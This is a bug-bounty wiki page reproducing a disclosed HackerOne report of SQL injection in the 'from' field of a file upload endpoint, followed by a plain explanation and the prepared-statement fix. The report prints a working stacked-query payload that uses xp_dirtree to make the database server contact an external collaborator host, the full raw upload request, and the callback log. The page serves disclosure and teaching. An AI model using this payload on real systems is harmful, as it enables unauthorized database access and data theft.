Skip to content
SQL injection Disclosed report Intermediate

SQL injections

The 'from' parameter of a file upload request was inserted into a SQL query without proper handling, so a single quote broke the syntax and injected commands ran. An attacker could read database information or run SQL commands with the database user's rights.

lfb Follow

Originally disclosed on HackerOne

  • Triaged in 6 days
  • Fixed in 6 months
  • Disclosed after 2.0 years

Summary: An email is not well handeled and leads to sql injection. Description: This request POST /FileTransfer/Upload HTTP/1.1 Host: www.███████

The parameter from is injectable and leads to valid sql injection.

Impact

I didn't go all out and get a shell but, an attaker could exctract db information or execute sql command on the serve with the rights of the db user.

Step-by-step Reproduction Instructions

Payload injection

';declare @q varchar(99);set @q='\\4fkxoc5km935m5n0dqqu3vvk5bb1zq.burpcollaborator.net/random'; exec master.dbo.xp_dirtree @q;-- 

Request to make execute the sql command

POST /FileTransfer/Upload HTTP/1.1
Host: www.███
Connection: close
Content-Length: 269
Cache-Control: max-age=0
Origin: https://www.████
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybjrDo2DV1yHQWvAQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: https://www.█████████/FileTransfer/
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,fr;q=0.4

------WebKitFormBoundarybjrDo2DV1yHQWvAQ
Content-Disposition: form-data; name="from"

hello';declare @q varchar(99);set @q='\\4fkxoc5km935m5n0dqqu3vvk5bb1zq.burpcollaborator.net/random'; exec master.dbo.xp_dirtree @q;-- 
------WebKitFormBoundarybjrDo2DV1yHQWvAQ

first I get a dns query on my burp collaborator (see sqli2.png)

second I get the server to poll with master.dbo.xp_dirtree from 143.85.74.18 at 2017-Sep-27 21:29:55

PROPFIND /random HTTP/1.1
Host: 4fkxoc5km935m5n0dqqu3vvk5bb1zq.burpcollaborator.net
Content-Length: 0
Depth: 0
translate: f
User-Agent: Microsoft-WebDAV-MiniRedir/6.0.6002
Accept-Encoding: gzip, deflate, identity
Connection: Keep-Alive
X-BlueCoat-Via: ██████████

Also it is easy to see that the single quote breaks the sql syntax.

Suggested Mitigation/Remediation Actions

Make prepared statement so the ' doesnt get interpreted. (Input data validation) Maybe verify other parameters.

The original report as published on HackerOne, by lfb. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the 'from' value was concatenated into a SQL statement instead of being passed as a bound parameter.

Impact

An attacker could extract database information or execute SQL commands with the rights of the database user; the tester did not attempt to obtain a shell.

What the attacker needed

Access to the upload endpoint

The fix

The query should be built with prepared statements so the quote is treated as data, and other parameters should be checked too.

How it was found

  1. Send a file upload request to the FileTransfer endpoint with a single quote in the 'from' field.
  2. Observe that the quote breaks the SQL syntax, confirming injection.
  3. Inject a stacked query that makes the database server resolve an external hostname.
  4. Receive the DNS lookup on the tester's collaborator server.
  5. Observe the follow-up WebDAV request from the target server, confirming command execution.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website builds a database query by gluing user input into it, a character like a single quote can end the query early and let the user add their own database commands. Here the upload form's 'from' field did exactly that, and the tester proved it by making the database server contact a server they controlled.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.